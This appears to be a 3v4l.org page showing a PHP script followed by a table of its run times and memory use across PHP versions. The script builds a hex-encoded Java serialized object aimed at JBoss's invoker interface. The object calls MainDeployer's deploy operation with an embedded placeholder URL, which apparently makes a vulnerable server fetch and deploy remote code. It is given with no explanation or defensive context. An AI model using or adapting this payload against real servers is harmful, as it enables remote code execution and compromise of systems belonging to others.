3v4l.org

run code in 300+ PHP versions simultaneously
<?php $url="http://lololololo.lo.lo/l/o.lol"; $url_len=pack("n",strlen($url)); $frag_i= "\xac\xed\x00\x05\x73\x72\x00\x29\x6f\x72\x67\x2e\x6a\x62\x6f\x73". "\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d\x61\x72". "\x73\x68\x61\x6c\x6c\x65\x64\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f". "\x6e\xf6\x06\x95\x27\x41\x3e\xa4\xbe\x0c\x00\x00\x78\x70\x70\x77". "\x08\x78\x94\x98\x47\xc1\xd0\x53\x87\x73\x72\x00\x11\x6a\x61\x76". "\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74\x65\x67\x65\x72\x12\xe2". "\xa0\xa4\xf7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75". "\x65\x78\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4e". "\x75\x6d\x62\x65\x72\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00". "\x78\x70\x26\x95\xbe\x0a\x73\x72\x00\x24\x6f\x72\x67\x2e\x6a\x62". "\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d". "\x61\x72\x73\x68\x61\x6c\x6c\x65\x64\x56\x61\x6c\x75\x65\xea\xcc". "\xe0\xd1\xf4\x4a\xd0\x99\x0c\x00\x00\x78\x70\x77"; $frag_ii="\x00"; $frag_iii= "\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e". "\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f". "\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x04\x73\x72\x00". "\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e". "\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b". "\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62\x6f\x73". "\x73\x2e\x73\x79\x73\x74\x65\x6d\x3a\x73\x65\x72\x76\x69\x63\x65". "\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c\x6f\x79\x65\x72\x78\x74\x00". "\x06\x64\x65\x70\x6c\x6f\x79\x75\x71\x00\x7e\x00\x00\x00\x00\x00". "\x01\x74". $url_len. $url. "\x75\x72\x00". "\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61". "\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d". "\x7b\x47\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00\x10\x6a\x61". "\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67"; $frag_iv= "\x0d\xd3". "\xbe\xc9\x78\x77\x04\x00\x00\x00\x01\x73\x72\x00\x22\x6f\x72\x67". "\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f". "\x6e\x2e\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x4b\x65\x79\xb8". "\xfb\x72\x84\xd7\x93\x85\xf9\x02\x00\x01\x49\x00\x07\x6f\x72\x64". "\x69\x6e\x61\x6c\x78\x70\x00\x00\x00\x05\x73\x71\x00\x7e\x00\x05". "\x77\x0d\x00\x00\x00\x05\xac\xed\x00\x05\x70\xfb\x57\xa7\xaa\x78". "\x77\x04\x00\x00\x00\x03\x73\x71\x00\x7e\x00\x07\x00\x00\x00\x04". "\x73\x72\x00\x23\x6f\x72\x67\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e". "\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x49\x6e\x76\x6f\x63\x61\x74". "\x69\x6f\x6e\x54\x79\x70\x65\x59\xa7\x3a\x1c\xa5\x2b\x7c\xbf\x02". "\x00\x01\x49\x00\x07\x6f\x72\x64\x69\x6e\x61\x6c\x78\x70\x00\x00". "\x00\x01\x73\x71\x00\x7e\x00\x07\x00\x00\x00\x0a\x70\x74\x00\x0f". "\x4a\x4d\x58\x5f\x4f\x42\x4a\x45\x43\x54\x5f\x4e\x41\x4d\x45\x73". "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d". "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03". "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62". "\x6f\x73\x73\x2e\x73\x79\x73\x74\x65\x6d\x3a\x73\x65\x72\x76\x69". "\x63\x65\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c\x6f\x79\x65\x72\x78". "\x78"; $data=$frag_i.pack("v",strlen($frag_iii)+8).$frag_ii.pack("n",strlen($frag_iii)).$frag_iii.$frag_iv; printf(bin2hex($data));

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0120.00616.71
8.3.50.0140.00922.04
8.3.40.0040.01118.67
8.3.30.0080.00618.92
8.3.20.0080.00020.21
8.3.10.0000.00921.95
8.3.00.0030.00917.34
8.2.180.0190.00916.61
8.2.170.0070.00722.96
8.2.160.0100.00322.25
8.2.150.0040.00424.18
8.2.140.0050.00324.66
8.2.130.0040.00426.16
8.2.120.0040.00419.55
8.2.110.0070.00320.93
8.2.100.0040.00817.78
8.2.90.0040.00419.22
8.2.80.0000.00817.97
8.2.70.0040.00417.50
8.2.60.0000.00718.04
8.2.50.0040.00418.10
8.2.40.0080.00018.32
8.2.30.0030.00517.99
8.2.20.0050.00317.67
8.2.10.0090.00018.20
8.2.00.0000.00817.85
8.1.280.0150.00425.92
8.1.270.0030.00718.89
8.1.260.0050.00326.35
8.1.250.0050.00228.09
8.1.240.0100.00022.66
8.1.230.0110.00017.77
8.1.220.0050.00317.77
8.1.210.0000.00818.77
8.1.200.0030.00617.23
8.1.190.0040.00417.25
8.1.180.0030.00518.10
8.1.170.0080.00020.42
8.1.160.0050.00222.00
8.1.150.0040.00418.85
8.1.140.0060.00317.51
8.1.130.0030.00317.93
8.1.120.0030.00417.55
8.1.110.0040.00417.39
8.1.100.0040.00417.38
8.1.90.0000.00817.50
8.1.80.0040.00417.57
8.1.70.0030.00517.41
8.1.60.0030.00617.65
8.1.50.0030.00517.60
8.1.40.0000.00817.46
8.1.30.0000.00917.61
8.1.20.0030.00517.67
8.1.10.0040.00417.51
8.1.00.0030.00617.44
8.0.300.0000.00718.77
8.0.290.0000.00716.88
8.0.280.0030.00318.50
8.0.270.0000.00817.31
8.0.260.0060.00017.36
8.0.250.0030.00316.91
8.0.240.0040.00417.01
8.0.230.0000.00716.99
8.0.220.0000.00716.98
8.0.210.0040.00416.86
8.0.200.0000.00617.01
8.0.190.0000.00717.05
8.0.180.0000.00816.97
8.0.170.0000.00816.96
8.0.160.0040.00416.89
8.0.150.0040.00416.94
8.0.140.0050.00216.83
8.0.130.0000.00613.32
8.0.120.0000.00816.93
8.0.110.0050.00216.95
8.0.100.0000.00716.94
8.0.90.0040.00416.77
8.0.80.0060.00916.94
8.0.70.0040.00416.84
8.0.60.0040.00417.06
8.0.50.0000.00716.93
8.0.30.0120.00917.20
8.0.20.0080.01017.40
8.0.10.0000.00816.88
8.0.00.0170.00416.79
7.4.330.0050.00015.03
7.4.320.0040.00416.64
7.4.300.0000.00716.59
7.4.290.0000.00716.58
7.4.280.0040.00716.54
7.4.270.0000.00716.65
7.4.260.0030.00316.44
7.4.250.0040.00416.45
7.4.240.0030.00516.61
7.4.230.0030.00316.40
7.4.220.0100.00716.68
7.4.210.0070.01316.61
7.4.200.0000.00716.50
7.4.160.0030.01316.49
7.4.150.0100.00717.40
7.4.140.0080.01117.86
7.4.130.0070.01216.54
7.4.120.0070.01016.55
7.4.110.0090.01516.34
7.4.100.0060.01216.54
7.4.90.0070.01016.67
7.4.80.0060.01519.39
7.4.70.0080.01116.50
7.4.60.0070.01016.48
7.4.50.0060.00316.31
7.4.40.0120.00316.65
7.4.30.0070.01016.41
7.4.00.0110.00715.02
7.3.330.0000.00513.25
7.3.320.0070.00713.38
7.3.310.0020.00516.33
7.3.300.0070.00016.42
7.3.290.0060.01316.43
7.3.280.0080.00916.37
7.3.270.0090.00917.40
7.3.260.0090.00916.42
7.3.250.0090.00816.46
7.3.240.0130.01016.65
7.3.230.0070.01316.39
7.3.210.0090.00916.34
7.3.200.0120.00919.39
7.3.190.0060.00916.66
7.3.180.0000.01716.50
7.3.170.0140.00716.30
7.3.160.0120.00316.67
7.2.330.0160.00316.66
7.2.320.0060.01516.84
7.2.310.0080.01116.64
7.2.300.0130.00316.60
7.2.290.0070.01316.50
7.1.70.0000.00817.16
7.1.60.0080.01519.46
7.1.50.0220.01634.94
7.1.00.0030.07722.28
7.0.200.0060.01014.97
7.0.140.0000.06022.04
7.0.60.0100.07319.90
7.0.50.0130.06317.86
7.0.40.0070.04720.04
7.0.30.0300.06320.20
7.0.20.0170.08720.04
7.0.10.0100.08320.00
7.0.00.0170.07320.19
5.6.280.0070.06720.91
5.6.210.0030.04020.66
5.6.200.0070.08318.25
5.6.190.0100.08320.35
5.6.180.3330.04320.64
5.6.170.0270.05320.42
5.6.160.0070.08320.40
5.6.150.0030.08318.20
5.6.140.0100.06018.14
5.6.130.0070.08018.15
5.6.120.0070.08320.98
5.6.110.0000.04720.97
5.6.100.0100.07321.03
5.6.90.0070.04020.98
5.6.80.0030.04020.40
5.6.70.3770.03320.51
5.5.350.0030.07720.45
5.5.340.0030.07018.02
5.5.330.0070.04320.40
5.5.320.0270.04320.20
5.5.310.0130.04320.27
5.5.300.0100.08017.88
5.5.290.0070.03717.98
5.5.280.0070.06020.78
5.5.270.0070.08020.78
5.5.260.0000.09020.80
5.5.250.0100.08320.63
5.5.240.0030.07020.25
5.4.450.0600.06719.51
5.4.440.0900.06019.64
5.4.430.0930.06019.46
5.4.420.0170.04719.47
5.4.410.0800.05319.50
5.4.400.0270.05318.67
5.4.390.0130.05718.57
5.4.380.0170.05318.76
5.4.370.0270.04018.65
5.4.360.0270.04018.51
5.4.350.0130.05718.56
5.4.340.0230.04318.59
5.4.320.0130.05718.61
5.4.310.0230.04318.69
5.4.300.0130.06018.59
5.4.290.0270.04018.76
5.4.280.0200.05018.62
5.4.270.0130.05718.43
5.4.260.0200.05018.57
5.4.250.0330.05018.51
5.4.240.0330.03718.62
5.4.230.0200.04718.50
5.4.220.0230.04718.69
5.4.210.0130.05718.66
5.4.200.0100.06716.54
5.4.190.0100.06018.44
5.4.180.0200.05718.63
5.4.170.0170.05318.69
5.4.160.0170.05018.75
5.4.150.0200.05018.46
5.4.140.0130.05316.08
5.4.130.0100.05716.18
5.4.120.0100.05316.23
5.4.110.0100.05016.22
5.4.100.0300.06016.22
5.4.90.0200.05016.32
5.4.80.0170.05016.29
5.4.70.0170.05316.13
5.4.60.0130.05316.15
5.4.50.0200.04316.32
5.4.40.0200.04716.09
5.4.30.0100.05716.19
5.4.20.0130.05716.04
5.4.10.0100.05716.28
5.4.00.0100.05715.63
5.3.290.0370.03714.63
5.3.280.0100.06314.59
5.3.270.0170.06014.59
5.3.260.0170.05314.60
5.3.250.0130.05314.71
5.3.240.0130.05314.62
5.3.230.0130.05314.52
5.3.220.0200.04714.56
5.3.210.0330.03714.55
5.3.200.0230.05314.64
5.3.190.0170.06014.56
5.3.180.0130.06014.53
5.3.170.0200.07014.51
5.3.160.0100.05714.57
5.3.150.0230.07314.68
5.3.140.0230.04714.55
5.3.130.0130.06014.61
5.3.120.0200.06714.50
5.3.110.0230.05014.66
5.3.100.0070.06014.13
5.3.90.0170.05714.09
5.3.80.0130.05314.02
5.3.70.0170.05014.02
5.3.60.0130.05313.97
5.3.50.0200.05713.96
5.3.40.0200.05313.95
5.3.30.0100.05313.86
5.3.20.0100.05313.81
5.3.10.0130.05013.70
5.3.00.0100.07713.59
5.2.170.0130.04311.13
5.2.160.0100.04311.20
5.2.150.0130.04311.22
5.2.140.0130.04311.13
5.2.130.0170.03711.27
5.2.120.0100.04011.11
5.2.110.0070.04711.11
5.2.100.0270.04711.16
5.2.90.0130.04011.28
5.2.80.0030.04711.09
5.2.70.0200.03311.17
5.2.60.0170.03711.10
5.2.50.0130.04011.02
5.2.40.0130.03711.05
5.2.30.0070.04310.96
5.2.20.0100.04310.94
5.2.10.0170.04010.99
5.2.00.0100.04310.77
5.1.60.0100.03710.03
5.1.50.0170.03310.11
5.1.40.0100.03710.02
5.1.30.0130.03310.32
5.1.20.0070.04010.35
5.1.10.0100.03710.23
5.1.00.0170.03010.14
5.0.50.0100.0278.54
5.0.40.0070.0278.44
5.0.30.0100.0408.34
5.0.20.0130.0208.41
5.0.10.0100.0278.31
5.0.00.0130.0378.36
4.4.90.0030.0235.93
4.4.80.0030.0275.93
4.4.70.0030.0235.91
4.4.60.0070.0205.90
4.4.50.0030.0235.97
4.4.40.0130.0275.96
4.4.30.0070.0205.88
4.4.20.0100.0176.03
4.4.10.0070.0205.94
4.4.00.0070.0335.91
4.3.110.0130.0135.84
4.3.100.0000.0275.82
4.3.90.0030.0205.90
4.3.80.0100.0275.84
4.3.70.0030.0235.80
4.3.60.0030.0235.81
4.3.50.0030.0235.82
4.3.40.0070.0305.75
4.3.30.0070.0204.64
4.3.20.0030.0234.64
4.3.10.0030.0234.64
4.3.00.0200.0276.93

preferences:
50.07 ms | 401 KiB | 5 Q